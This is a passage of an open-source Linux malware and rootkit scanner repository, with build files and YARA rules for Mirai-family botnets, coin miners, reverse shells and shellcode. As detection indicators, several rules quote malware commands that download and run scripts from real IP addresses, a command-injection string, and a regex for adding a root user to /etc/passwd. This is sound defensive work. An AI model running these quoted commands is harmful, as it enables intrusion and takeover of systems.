├── .github └── workflows │ ├── create_release.yml │ └── debian-sid.yml ├── .gitignore ├── .yara-ci.yml ├── Makefile ├── README.md ├── rules ├── botnet.yar ├── coin_miner.yar ├── commons.yar ├── magics.yar ├── ransomware.yar ├── rootkit.yar └── trojan.yar └── src ├── cli ├── cli_opts.nim ├── helps.nim ├── print_utils.nim └── progress_bar.nim ├── compiler ├── compiler_utils.nim └── yr_db_compiler.nim ├── engine ├── bindings │ ├── libclamav.nim │ ├── libyara.nim │ └── yara.h ├── compile_rules.nim ├── engine_cores.nim ├── scan_file.nim ├── scan_proc.nim └── scan_userland_hook.nim ├── research └── find_hidden_file.nim ├── rkscanmal.nim └── scanners └── scanners.nim /.github/workflows/create_release.yml: -------------------------------------------------------------------------------- 1 | name: Build with artifacts 2 | 3 | on: 4 | push: 5 | tags: 6 | - '*' 7 | 8 | jobs: 9 | release-build: 10 | runs-on: ubuntu-latest 11 | container: debian:sid 12 | steps: 13 | - name: Install packages 14 | run: | 15 | apt update 16 | apt install -y git gcc make nim libclamav-dev libyara-dev liblzma-dev libzstd-dev 17 | - name: Get RkCheck 18 | run: git clone https://github.com/dmknght/rkcheck 19 | - name: build 20 | run: make build 21 | working-directory: rkcheck 22 | - name: Upload compiled files 23 | uses: actions/upload-artifact@v4 24 | with: 25 | name: rkcheck-release 26 | path: | 27 | rkcheck/build/release/rkscanmal 28 | rkcheck/build/release/databases/signatures.ydb -------------------------------------------------------------------------------- /.github/workflows/debian-sid.yml: -------------------------------------------------------------------------------- 1 | name: Debian SID 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | container: debian:sid 13 | steps: 14 | - name: Install packages 15 | run: | 16 | apt update 17 | apt install -y git gcc make nim libclamav-dev libyara-dev liblzma-dev libzstd-dev 18 | - name: Get RkCheck 19 | run: git clone https://github.com/dmknght/rkcheck 20 | - name: build 21 | run: make build 22 | working-directory: rkcheck -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | src/rkcompiler 2 | database/* 3 | testsrc 4 | src/tools/rkcompiler 5 | src/engine/startup_enum 6 | src/engine/file_handler 7 | src/main 8 | .idea/* 9 | build/* 10 | .vscode 11 | clam_sigs/*.cbc -------------------------------------------------------------------------------- /.yara-ci.yml: -------------------------------------------------------------------------------- 1 | branches: 2 | accept: 3 | - "**" 4 | files: 5 | accept: 6 | - "rules/*.yar" 7 | variables: 8 | proc_exe_exists: true 9 | proc_exe: "" 10 | proc_name: "" 11 | fd_stdin: "" 12 | fd_stdout: "" 13 | fd_stderr: "" 14 | proc_cmdline: "" -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | YR_DEPS = --passL:-lyara --passL:-pthread --passL:-lcrypto --passL:-lssl --passL:-lmagic --passL:-lbz2 --passL:-lz --passL:-ljansson --passL:-llzma --passL:-lpthread --passL:-lzstd --passL:-lm 2 | YR_DEPS_STATIC = --passL:-Wl,-Bstatic --passL:-lyara --passL:-pthread --passL:-lcrypto --passL:-lssl --passL:-lmagic --passL:-lbz2 --passL:-lz --passL:-ljansson --passL:-llzma --passL:-lpthread --passL:-lzstd --passL:-Wl,-Bdynamic --passL:-lm 3 | CLAM_DEPS = --passL:-lclamav 4 | NIM_CC = nim c --nimcache:build/nimcache/ -d:release --opt:speed --passC:-fpermissive --passL:-s # --passL:-Wl,-rpath=./libs 5 | DEBUG_FLAGS = --passL:-fsanitize=address --passL:-static-libasan --passL:-O1 --passL:-fno-omit-frame-pointer 6 | 7 | .PHONY: build 8 | 9 | all: build install 10 | 11 | mktmp: 12 | # Create build folder and db 13 | mkdir -p build/release/databases 14 | # Create tmp folder for cache 15 | mkdir -p build/nimcache 16 | # Create bundles for libs 17 | # mkdir -p build/libs 18 | 19 | signatures: mktmp 20 | # Compile Yara signatures 21 | $(NIM_CC) $(YR_DEPS) -r --out:build/nimcache/rkcompiler src/compiler/yr_db_compiler.nim 22 | 23 | build: signatures 24 | # Compile main file 25 | $(NIM_CC) $(CLAM_DEPS) $(YR_DEPS) --out:build/release/rkscanmal src/rkscanmal.nim 26 | 27 | install: 28 | mkdir -p /usr/share/rkcheck/ 29 | cp -r build/release/databases /usr/share/rkcheck/ 30 | cp build/release/rkscanmal /usr/bin/rkscanmal 31 | 32 | chmod +x /usr/bin/rkscanmal 33 | 34 | uninstall: 35 | rm /usr/bin/rkscanmal 36 | rm -rf /usr/share/rkcheck/ 37 | 38 | clean: 39 | rm -rf build/ 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # What is this 2 | This tool is a combination of Yara and ClamAV to do malware scanning on Linux system. It was made as the idea that rkhunter and chkrootkit need better replacement since both tools check absolute paths exist only. 3 | 4 | # More info about this tool 5 | Wiki is at https://github.com/dmknght/rkcheck/wiki 6 | 7 | # Roadmaps 8 | - Be able to scan on any Linux system (architecture compatible) without installing dependencies 9 | - Improve detection of user-land rootkit 10 | - Research kernel-land rootkit detection 11 | 12 | # License, copyright 13 | - Reused Yara engine under BSD-3-Clause. 14 | - Reused ClamAV engine under GPL-2.0 15 | - Reused some Yara rules from Tenable under BSD-3-Clause 16 | - Some rules are having no custom licenses from Lacework Labs, Trend Micro 17 | - Special thank to Nim lang community, ClamAV community, malware researcher Itay Cohen and everbody helped me this project 18 | - Reuse code from https://github.com/mempodippy/detect_preload/ to detect user-land rootkit's hijacked functions 19 | -------------------------------------------------------------------------------- /rules/botnet.yar: -------------------------------------------------------------------------------- 1 | import "elf" 2 | import "hash" 3 | include "rules/magics.yar" 4 | 5 | 6 | /* 7 | Mirai rules based on section hashes. This is a new version that 8 | 1. Calculate hashes based on start string of section, and section's size 9 | 2. No loop to improve speed 10 | 3. Hashes removed some Nullbytes (prefix and suffix) 11 | Problem: 12 | 1. Some samples has no sections in memory. The other rule handled it 13 | 2. I haven't found any sample that changes its section data (changes instead of remove sections) 14 | it's possibly some samples can bypass this 15 | */ 16 | rule Mirai_Gen1 { 17 | strings: 18 | $s1 = ".symtab" fullword 19 | $s2 = ".shstrtab" fullword 20 | $s3 = ".note.gnu.property" fullword 21 | condition: 22 | elf_magic and 23 | ( 24 | hash.md5(@s1[1], 0x64) == "cfea6ff0b826a05a3c24bd9b4da705c7" or 25 | hash.md5(@s2[1], 0x3C) == "6de76eb8aa868bf6751c01b7d120e909" or 26 | hash.md5(@s3[1], 0x74) == "5321a249df6dd47fabd3ca3dcc1ed7c9" 27 | ) 28 | } 29 | 30 | 31 | // Use some common strings 32 | rule Mirai_Gen2 { 33 | // meta: 34 | // description = "Detect some Mirai's variants including Gafgyt and Tsunami variants (named by ClamAV) using section hash. File only" 35 | // file fa9878*95ec37, compiled Py 36 | strings: 37 | $ = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" fullword ascii 38 | $ = "makeIPPacket" fullword ascii 39 | $ = "UDPRAW" fullword ascii 40 | $ = "sendRAW" fullword ascii 41 | $ = "HshrQjzbSjHs" fullword ascii 42 | condition: 43 | elf_magic and any of them 44 | } 45 | 46 | 47 | rule IRCBot_Generic 48 | { 49 | // meta: 50 | // description = "Common strings used in Mirai" 51 | strings: 52 | $ = "WHO %s" fullword ascii 53 | $ = "PONG %s" fullword ascii 54 | $ = "NICK %s" fullword ascii 55 | $ = "JOIN %s" fullword ascii 56 | condition: 57 | elf_exec and 2 of them 58 | } 59 | 60 | 61 | rule Tsunami_de1b { 62 | // meta: 63 | // md5 = "de1bbb1e4a94de0d047673adaed080c1" 64 | // description = "Tsunami variant" 65 | strings: 66 | $ = "Tsunami successfully deployed!" ascii 67 | $ = ".tsunami -l .t -g" fullword ascii 68 | condition: 69 | elf_magic and any of them 70 | } 71 | 72 | rule Mirai_4c36 { 73 | // meta: 74 | // md5 = "4c366b0552eac10a254ed2d177ba233d" 75 | strings: 76 | $ = "%9s %3hu %255[^\n]" fullword ascii 77 | $ = "oanacroane" fullword ascii 78 | condition: 79 | elf_magic and any of them 80 | } 81 | 82 | 83 | rule Mirai_9c77 { 84 | // meta: 85 | // md5 = "9c77a9f860f2643dc0cdbcd6bda65140" 86 | strings: 87 | $ = "31mip:%s" ascii 88 | condition: 89 | elf_magic and any of them 90 | } 91 | 92 | 93 | rule Mirai_92a0 { 94 | // meta: 95 | // md5 = "92a049c55539666bebc68c1a5d9d86ef" 96 | strings: 97 | $ = "4r3s b0tn3t" fullword ascii 98 | condition: 99 | elf_magic and any of them 100 | } 101 | 102 | rule VTFlooder_1d47 { 103 | // meta: 104 | // md5 = "1d4789f3de97c80a4755d7ef2cd844b3" 105 | strings: 106 | $ = "iceis" fullword ascii 107 | $ = "Setting up sockets" fullword ascii 108 | $ = "Starting flood" fullword ascii 109 | condition: 110 | elf_dyn and 2 of them 111 | } 112 | 113 | rule Flooder_Generic { 114 | // TODO better string detection for similar text 115 | strings: 116 | $ = "Flooding %s" fullword ascii 117 | $ = "LOLNOGTFO" fullword ascii 118 | $ = "KILLATTK" fullword ascii 119 | $ = "[UDP] Failed to ddos" fullword ascii 120 | $ = "] flood" ascii nocase 121 | $ = "[http flood]" fullword ascii 122 | $ = "Opening sockets" fullword ascii 123 | $ = "Sending attack" fullword ascii 124 | $ = "Flooding with" fullword ascii 125 | $ = "HACKPGK" fullword ascii 126 | $ = "RANDOMFLOOD" fullword ascii 127 | $ = "ACKFLOOD" fullword ascii 128 | $ = "udp flooder" ascii 129 | $ = "SYNFLOOD" ascii 130 | $ = "SYN_Flood" ascii 131 | $ = "udp_flood" ascii 132 | $ = "udpflood" ascii 133 | $ = "HTTPFLOOD" ascii 134 | $ = "RANDOMFLOOD" ascii 135 | condition: 136 | elf_magic and 2 of them 137 | } 138 | 139 | 140 | rule RacismNet_41fa { 141 | // meta: 142 | // url = "https://bazaar.abuse.ch/download/d49a93c84e608ea820329306c6fc9dd5e6e027fb2ea996f2a79d12f4626068a5/" 143 | strings: 144 | $ = "RacismNet9" fullword ascii 145 | $ = "BOTKILL" fullword ascii 146 | condition: 147 | elf_magic and all of them 148 | } 149 | 150 | rule Zyxel_Generic { 151 | strings: 152 | $ = "killer_kill_by_port" fullword ascii 153 | condition: 154 | elf_magic and all of them 155 | } 156 | 157 | rule HuaweiExploit_201717215 { 158 | // meta: 159 | // url = "https://securitynews.sonicwall.com/xmlpost/new-wave-of-attacks-attempting-to-exploit-huawei-home-routers/" 160 | strings: 161 | $ = "3612f843a42db38f48f59d2a3597e19c" fullword ascii 162 | $ = "huawei_scanner.c" fullword ascii 163 | condition: 164 | elf_magic and all of them 165 | } 166 | 167 | 168 | rule Helios_Generic { 169 | strings: 170 | $ = "Botnet Made By greek.Helios" fullword ascii nocase 171 | condition: 172 | elf_magic and all of them 173 | } 174 | 175 | 176 | // rule Okami_Dwnlder { 177 | // strings: 178 | // $ = "rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*" 179 | // $ = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" 180 | // condition: 181 | // all of them 182 | // } 183 | 184 | // rule Mirai_Gen2 { 185 | // meta: 186 | // author = "Nong Hoang Tu" 187 | // email = "dmknght@parrotsec.org" 188 | // description = "Unique strings of Mirai samples for memory scan" 189 | // strings: 190 | // $1 = "4r3s b0tn3t" // 0e492a3be57312e9b53ea378fa09650191ddb4aee0eed96dfc71567863b500a8 191 | // // strings from 206ad8fec64661c1fed8f20f71523466d0ca4ed9c01d20bea128bfe317f4395a 192 | // // and 341a49940749d5f07d32d1c8dfddf6388a11e45244cc54bc8768a8cd7f00b46a 193 | // $2 = "User-Agent: Hello, Momentum" 194 | // $3 = "GET /shell?cd+/tmp;+wget+http:/\\/" 195 | // // Found in 5a888ae2128e398b401d8ab8333f0fe125134892b667e1acd3dd3fee98f6ea3f 196 | // $4 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii 197 | // $5 = "EcstasyCode#0420 | Famy#2900" // d8878a0593c1920571afaa2c024d8d4589f13b334c064200b35af0cff20de3e5 198 | // condition: 199 | // any of them 200 | // } 201 | 202 | 203 | // rule Mirai_TypeC { 204 | // meta: 205 | // author = "Nong Hoang Tu" 206 | // email = "dmknght@parrotsec.org" 207 | // date = "15/11/2021" 208 | // target = "File, Memory" 209 | // status = "Tested, confirmed with processes" 210 | // description = "Strings from dumped mem" 211 | // hash = "a9878bffe5e771bd09109df185dc41883ca0a560bb7b635abddc4259995ec37" 212 | // strings: 213 | // $cc = "194.76.226.240" 214 | // $s1 = "Device Connected: %s | Port: %s | Arch: %s" 215 | // $s2 = "TSource Engine Query" 216 | // $s3 = "L33T HaxErS" 217 | // condition: 218 | // $cc or ($s2 and ($s1 or $s3)) 219 | // } 220 | 221 | 222 | // rule Mirai_DemonBot_A 223 | // { 224 | // meta: 225 | // author = "Nong Hoang Tu" 226 | // email = "dmknght@parrotsec.org" 227 | // description = "Mirai's variant DemonBot" 228 | // reference = "https://otx.alienvault.com/malware/Backdoor:Linux%2FDemonBot/fileSamples" 229 | // date = "12/11/2021" 230 | // target = "File, memory" 231 | // strings: 232 | // $cc = "54.38.218.178" 233 | // $file_str = "/proc/net/route" 234 | // $str_1 = "PozHlpiND4xPDPuGE6tq" 235 | // $str_2 = "tg57YSAcuvy2hdBlEWMv" 236 | // $str_3 = "VaDp3Vu5m5bKcfCU96RX" 237 | // $str_4 = "UBWcPjIZOdZ9IAOSZAy6" 238 | // $str_5 = "JezacHw4VfzRWzsglZlF" 239 | // $str_6 = "3zOWSvAY2dn9rKZZOfkJ" 240 | // $str_7 = "oqogARpMjAvdjr9Qsrqj" 241 | // $str_8 = "yQAkUvZFjxExI3WbDp2g" 242 | // $str_9 = "35arWHE38SmV9qbaEDzZ" 243 | // $str_10 = "kKbPlhAwlxxnyfM3LaL0" 244 | // $str_11 = "a7pInUoLgx1CPFlGB5JF" 245 | // $str_12 = "yFnlmG7bqbW682p7Bzey" 246 | // $str_13 = "S1mQMZYF6uLzzkiULnGF" 247 | // $str_14 = "jKdmCH3hamvbN7ZvzkNA" 248 | // $str_15 = "bOAFqQfhvMFEf9jEZ89M" 249 | // $str_16 = "VckeqgSPaAA5jHdoFpCC" 250 | // $str_17 = "CwT01MAGqrgYRStHcV0X" 251 | // $str_18 = "72qeggInemBIQ5uJc1jQ" 252 | // $str_19 = "zwcfbtGDTDBWImROXhdn" 253 | // condition: 254 | // $file_str and ($cc or 3 of ($str*)) 255 | // } 256 | 257 | 258 | // rule Shellshock_Generic_A { 259 | // meta: 260 | // author = "Nong Hoang Tu" 261 | // email = "dmknght@parrotsec.org" 262 | // description = "Shellshock.A" 263 | // reference = "https://otx.alienvault.com/indicator/file/88ab21215c71fe88b04ab7b0e6a882a65c25df5aed79232f495f4bdb4c9a3600" 264 | // date = "12/11/2021" 265 | // target = "File, memory" 266 | // strings: 267 | // $addr_1 = "http://195.58.39.37/bins.sh" 268 | // $addr_2 = "185.172.110.209" 269 | // // $str_1 = "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'" 270 | // // $str_2 = "cd /tmp; wget http://195.58.39.37/bins.sh || curl -O http://195.58.39.37/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 195.58.39.37 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 195.58.39.37; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh" 271 | // $cmd_3 = "chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh" 272 | // condition: 273 | // any of them 274 | // } 275 | 276 | 277 | // rule BotenaGo_Generic_A { 278 | // meta: 279 | // author = "Nong Hoang Tu" 280 | // email = "dmknght@parrotsec.org" 281 | // date = "29/11/2021" 282 | // reference = "https://otx.alienvault.com/indicator/file/2993eaf466f70bf89fec5fa950bf83c09f8b64343d6a121fa1d8988af4ea6ca2" 283 | // reference = "https://otx.alienvault.com/indicator/file/0c395715bfeb8f89959be721cd2f614d2edb260614d5a21e90cc4c142f5d83ad" 284 | // reference = "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits" 285 | // strings: 286 | // $addr_1 = "107.172.30.215" 287 | // $addr_2 = "159.65.232.56" 288 | // $addr_3 = "http://adminisp:adminispbad" nocase 289 | // $cc_1 = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://" 290 | // $cmd_1 = "/bin/busybox chmod 777 * /tmp/xvg; /tmp/xvg selfrep.huawei" 291 | // condition: 292 | // any of them 293 | // } 294 | -------------------------------------------------------------------------------- /rules/coin_miner.yar: -------------------------------------------------------------------------------- 1 | import "elf" 2 | import "hash" 3 | include "rules/magics.yar" 4 | 5 | 6 | rule MineTool_Generic 7 | { 8 | // meta: 9 | // description = "Generic strings in coin miner" 10 | strings: 11 | $ = "Memory: %u KiB, Iterations: %u, Parallelism: %u lanes, Tag length: %u bytes" fullword ascii 12 | $ = "Block %.4u [%3u]: %016lx" fullword ascii 13 | $ = "Started Mining" fullword ascii 14 | $ = "Miner will restart" fullword ascii 15 | $ = "Miner not responding" fullword ascii 16 | $ = "stratum+ssl://" ascii 17 | $ = "stratum+tcp://" ascii 18 | $ = "daemon+https://" ascii 19 | $ = "daemon+http://" ascii 20 | condition: 21 | elf_magic and any of them 22 | } 23 | 24 | 25 | rule Connecticoin_Generic 26 | { 27 | // meta: 28 | // description = "Generic strings in connection coin" 29 | strings: 30 | $ = "connecticoin.org" fullword ascii nocase 31 | $ = "Connecticoin-Qt" fullword ascii 32 | condition: 33 | elf_magic and all of them 34 | } 35 | 36 | 37 | rule XMRStak_Generic { 38 | // meta: 39 | // description = "Generic strings in xml stak" 40 | strings: 41 | $ = "XMRSTAK_VERSION" fullword ascii 42 | $ = "pool.usxmrpool.com" fullword ascii nocase 43 | $ = "donate.xmr-stak.net" fullword ascii nocase 44 | $ = "xmr-stak-rx" fullword ascii 45 | condition: 46 | elf_magic and 2 of them 47 | } 48 | 49 | 50 | rule Xmrig_Generic 51 | { 52 | // meta: 53 | // descriptions = "Generic strings in xmrig" 54 | strings: 55 | $ = "xmrig.com" fullword ascii nocase 56 | $ = "cryptonight" fullword ascii 57 | $ = "_ZN5xmrig" ascii 58 | $ = "Usage: xmrig [OPTIONS]" ascii 59 | $ = "xmrig.json" fullword ascii 60 | $ = "xmrigMiner" fullword ascii 61 | $ = "jcxmrig" ascii 62 | $ = "xmrigvertar" ascii 63 | condition: 64 | elf_magic and 3 of them 65 | } 66 | 67 | 68 | rule NBMiner_682e { 69 | // meta: 70 | // hash = "682e9645f289292b12561c3da62a059b" 71 | // reference = "https://www.virustotal.com/gui/file/a819b4a95f386ae3bd8f0edc64e8e10fae0c21c9ae713b73dfc64033e5a845a1?nocache=1" 72 | strings: 73 | $ = "/mnt/d/code/NBMiner" 74 | $ = "_ZN5Miner10signalStopEv" 75 | condition: 76 | elf_magic and any of them 77 | } 78 | 79 | rule GoMiner_b238 { 80 | // meta: 81 | // description = "A heavily striped Golang coin miner" 82 | // md5 = "b238fe09791e169600fd3dbcdd0018a3" 83 | strings: 84 | $ = "Zpw9qKOmhDOzF3GWwJTB" 85 | condition: 86 | elf_magic and any of them 87 | } 88 | 89 | 90 | rule Ddgs_d618 { 91 | // meta: 92 | // info = "VirusShare_d6187a44abacfb8f167584668e02c918" 93 | // md5 = "VirusShare_d6187a44abacfb8f167584668e02c918" 94 | strings: 95 | $ = "miner.go" fullword ascii 96 | $ = "backdoor.go" fullword ascii 97 | $ = "(*backdoor)" fullword ascii 98 | $ = "(*miner" ascii 99 | condition: 100 | elf_magic and 2 of them 101 | } 102 | -------------------------------------------------------------------------------- /rules/commons.yar: -------------------------------------------------------------------------------- 1 | import "elf" 2 | import "math" 3 | include "rules/magics.yar" 4 | 5 | 6 | rule Proc_SelfDeleteBinary { 7 | // https://www.sandflysecurity.com/blog/detecting-linux-kernel-process-masquerading-with-command-line-forensics/ 8 | condition: 9 | proc_exe endswith " (deleted)" and not proc_exe_exists 10 | } 11 | 12 | 13 | rule Proc_ThreadMasquerading { 14 | // https://www.sandflysecurity.com/blog/detecting-linux-kernel-process-masquerading-with-command-line-forensics/ 15 | condition: 16 | proc_name startswith "[" and proc_name endswith "]" and proc_exe startswith "/" 17 | } 18 | 19 | 20 | private rule Proc_StdRedirection { 21 | /* 22 | Detect file descriptors of a running process that's redirected to a socket connection 23 | C code could be like: dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); 24 | */ 25 | condition: 26 | ( 27 | fd_stdin startswith "socket:[" and fd_stdout startswith "socket:[" 28 | ) or 29 | ( 30 | fd_stdin == "/dev/pts/2" and fd_stdout == "/dev/pts/2" and fd_stderr == "/dev/pts/2" 31 | ) 32 | } 33 | 34 | 35 | rule RuntimeShell_Netcat { 36 | strings: 37 | $ = "Usage: ncat [options] [hostname] [port]" fullword ascii 38 | $ = "Proxy-Authenticate: Basic realm=\"Ncat\"" fullword ascii 39 | $ = "ncat_ssl.c: Invoking ssl_handshake" fullword ascii 40 | $ = "%s/ncat.XXXXXX" fullword ascii 41 | condition: 42 | ( 43 | proc_cmdline contains "-e" or Proc_StdRedirection 44 | ) and 45 | ( 46 | ( // Use process name to detect netcat precisely (either call absoulte path or execute by only name). 47 | proc_name endswith "/nc" or 48 | proc_name == "nc" or 49 | proc_name endswith "/ncat" or 50 | proc_name == "ncat" 51 | ) or 52 | 2 of them // What if binary's name was changed? Detect using common strings in nc or ncat 53 | ) 54 | } 55 | 56 | 57 | rule RuntimeShell_Cmd { 58 | // Detect Reverse shell that redirects file descriptor to socket 59 | // TODO need more name 60 | // FIXME: /proc/*/exe might not be absolute path 61 | condition: 62 | for any f_name in ("/bash", "/sh", "/zsh", "/dash", "/ash", "/ksh", "/busybox"): 63 | ( 64 | Proc_StdRedirection and proc_exe endswith f_name 65 | ) 66 | } 67 | 68 | 69 | rule ELF_AddRootToCrontab { 70 | strings: 71 | $ = "* * * * root" fullword ascii 72 | $ = "/etc/crontab" fullword ascii 73 | condition: 74 | elf_magic and all of them 75 | } 76 | 77 | 78 | rule Shellcode_ObjName { 79 | /* 80 | Default shellcode loaders on internet will export keyword code or shellcode into symtab (global var only) 81 | There is a false positive from yara name matching. Condition elf.symtab[i].name == "buf" matched 82 | any object name contains "buf" like "xxxbuf" 83 | False positive: /usr/lib/debug/.build-id/2e/5abcee94f3bcbed7bba094f341070a2585a2ba.debug 84 | False positive /usr/lib/modules/5.16.0-12parrot1-amd64/kernel/drivers/accessibility/speakup/speakup.ko 85 | */ 86 | condition: 87 | elf_exec and for any f_sym in elf.symtab: 88 | ( 89 | for any f_name in ("shellcode", "code"): 90 | ( 91 | f_sym.type == elf.STT_OBJECT and 92 | f_sym.name == f_name 93 | ) 94 | ) 95 | } 96 | 97 | 98 | rule Shellcode_SegmentRWX { 99 | /* 100 | Detect binaries that has LOAD segment that has RWE permission 101 | reference = "https://github.com/tenable/yara-rules/blob/master/generic/elf_format.yar#L3" 102 | reference = "https://www.tenable.com/blog/hunting-linux-malware-with-yara" 103 | License: No License detected 104 | */ 105 | condition: 106 | elf_magic and for any f_segment in elf.segments: 107 | ( 108 | f_segment.type == elf.PT_LOAD and 109 | f_segment.flags == 7 // R+W+X. Sample of Meterpreter has only 1 segment. Need to check for False positive 110 | ) 111 | } 112 | 113 | 114 | rule ShellCmd_AddUser { 115 | // meta: 116 | // description = "Bash commands to add new user to passwd" 117 | strings: 118 | $ = /echo[ "]+[\w\d_]+::0:0::\/:\/bin\/[\w"]+[ >]+\/etc\/passwd/ 119 | condition: 120 | (elf_magic or shebang_magic) and all of them 121 | } 122 | 123 | 124 | // rule ShellCmd_DropByWget { 125 | // // meta: 126 | // // description = "Bash commands to download and execute binaries using wget" 127 | // // reference = "https://www.trendmicro.com/en_us/research/19/d/bashlite-iot-malware-updated-with-mining-and-backdoor-commands-targets-wemo-devices.html" 128 | // strings: 129 | // $ = /wget([ \S])+[; ]+chmod([ \S])+\+x([ \S])+[; ]+.\/(\S)+/ 130 | // condition: 131 | // (elf_magic or shebang_magic) and all of them 132 | // } 133 | 134 | 135 | // rule ShellCmd_DropByCurl { 136 | // // meta: 137 | // // description = "Bash commands to download and execute binaries using CURL" 138 | // // refrence = "https://otx.alienvault.com/indicator/file/2557ee8217d6bc7a69956e563e0ed926e11eb9f78e6c0816f6c4bf435cab2c81" 139 | // strings: 140 | // $ = /curl([ \S])+\-O([ \S])+[; ]+cat([ >\.\S])+[; ]+chmod([ \S])+\+x([ \S\*])+[; ]+.\/([\S ])+/ 141 | // condition: 142 | // (elf_magic or shebang_magic) and all of them 143 | // } 144 | 145 | 146 | // rule ShellCmd_WgetCurlAndChmod { 147 | // // meta: 148 | // // description = "Bash commands to download and execute binaries using CURL || Wget" 149 | // // hash = "16bbeec4e23c0dc04c2507ec0d257bf97cfdd025cd86f8faf912cea824b2a5ba" 150 | // // hash = "b34bb82ef2a0f3d02b93ed069fee717bd1f9ed9832e2d51b0b2642cb0b4f3891" 151 | // strings: 152 | // $ = /wget([ \S])+[; |]+curl([ \S]+)\-O([ \S])+[ |]+[&|; ]+chmod[&|; \d\w\.]+\// 153 | // condition: 154 | // (elf_magic or shebang_magic) and all of them 155 | // } 156 | 157 | // rule ELF_FakeDynSym { 158 | // // meta: 159 | // // description = "A fake dynamic symbol table has been added to the binary" 160 | // // family = "Obfuscation" 161 | // // filetype = "ELF" 162 | // // hash = "51676ae7e151a0b906c3a8ad34f474cb5b65eaa3bf40bb09b00c624747bcb241" 163 | // // reference = "https://github.com/tenable/yara-rules/blob/master/generic/elf_format.yar#L47" 164 | // condition: 165 | // elf_exec and 166 | // elf.entry_point < filesize and // file scanning only 167 | // elf.number_of_sections > 0 and 168 | // elf.dynamic_section_entries > 0 and 169 | // for any i in (0..elf.dynamic_section_entries): 170 | // ( 171 | // elf.dynamic[i].type == elf.DT_SYMTAB and 172 | // not 173 | // ( 174 | // for any j in (0..elf.number_of_sections): 175 | // ( 176 | // elf.sections[j].type == elf.SHT_DYNSYM and 177 | // for any k in (0..elf.number_of_segments): 178 | // ( 179 | // (elf.segments[k].virtual_address <= elf.dynamic[i].val) and 180 | // ((elf.segments[k].virtual_address + elf.segments[k].file_size) >= elf.dynamic[i].val) and 181 | // (elf.segments[k].offset + (elf.dynamic[i].val - elf.segments[k].virtual_address)) == elf.sections[j].offset 182 | // ) 183 | // ) 184 | // ) 185 | // ) 186 | // } 187 | 188 | // rule ELF_FakeSectionHdrs { 189 | // // meta: 190 | // // description = "A fake sections header has been added to the binary." 191 | // // family = "Obfuscation" 192 | // // filetype = "ELF" 193 | // // hash = "a2301180df014f216d34cec8a6a6549638925ae21995779c2d7d2827256a8447" 194 | // // reference = "https://github.com/tenable/yara-rules/blob/master/generic/elf_format.yar#L17" 195 | // condition: 196 | // elf_exec and 197 | // elf.entry_point < filesize and // file scanning only 198 | // elf.number_of_segments > 0 and 199 | // elf.number_of_sections > 0 and 200 | // not defined elf.symtab_entries and 201 | // not defined elf.dynsym_entries and not 202 | // ( 203 | // for any i in (0 .. elf.number_of_segments): 204 | // ( 205 | // (elf.segments[i].offset <= elf.entry_point) and 206 | // ((elf.segments[i].offset + elf.segments[i].file_size) >= elf.entry_point) and 207 | // for any j in (0 .. elf.number_of_sections): 208 | // ( 209 | // elf.sections[j].offset <= elf.entry_point and 210 | // ((elf.sections[j].offset + elf.sections[j].size) >= elf.entry_point) and 211 | // (elf.segments[i].virtual_address + (elf.entry_point - elf.segments[i].offset)) == 212 | // (elf.sections[j].address + (elf.entry_point - elf.sections[j].offset)) 213 | // ) 214 | // ) 215 | // ) 216 | // } 217 | 218 | 219 | /* 220 | code from clamav 221 | 1. broken class 222 | 2. program header num > 128 (32 bits and 64 bits) 223 | 3. sizeof(struct elf_program_hdr32)) != sizeof(struct elf_program_hdr32) can't read section header. Same for 64 bits 224 | 4. Can't calculate entry point 225 | */ 226 | 227 | // rule ELF_NoEntryPoint { 228 | // // meta: 229 | // // description = "Detect ELF file that has no entry point. Memory scan will not match." 230 | // strings: 231 | // // Magic string of ELF type EXEC 232 | // $magic = {7f 45 4c 46 [12] 02} 233 | // condition: 234 | // $magic at 0 and not defined elf.entry_point 235 | // } 236 | 237 | // rule ImportFuncs_Backdoor { 238 | // // meta: 239 | // // descriptions = "Common imports by remote shell. Usually simple reverse tcp" 240 | // // Doesn't work when scan processes 241 | // /* Falsee positives 242 | // SusELF_BackdoorImp /usr/bin//tcpliveplay 243 | // SusELF_BackdoorImp /usr/bin//tcpprep 244 | // SusELF_BackdoorImp /usr/bin//tcpbridge 245 | // SusELF_BackdoorImp /usr/bin//tcpreplay 246 | // SusELF_BackdoorImp /usr/bin//tcpreplay-edit 247 | // SusELF_BackdoorImp /usr/bin//tcprewrite 248 | // */ 249 | // condition: 250 | // elf_magic and elf.dynsym_entries < 2000 and 251 | // ( 252 | // for 1 i in (0 .. elf.dynsym_entries): 253 | // ( 254 | // elf.dynsym[i].type == elf.STT_FUNC and 255 | // ( 256 | // elf.dynsym[i].name == "execl" or 257 | // elf.dynsym[i].name == "execve" or 258 | // elf.dynsym[i].name == "execvle" or 259 | // elf.dynsym[i].name == "execvp" or 260 | // elf.dynsym[i].name == "execv" or 261 | // elf.dynsym[i].name == "execlp" or 262 | // elf.dynsym[i].name == "system" 263 | // ) 264 | // ) 265 | // ) and 266 | // ( 267 | // for 1 i in (0 .. elf.dynsym_entries): 268 | // ( 269 | // elf.dynsym[i].type == elf.STT_FUNC and 270 | // ( 271 | // elf.dynsym[i].name == "htons" or 272 | // elf.dynsym[i].name == "htonl" 273 | // ) 274 | // ) 275 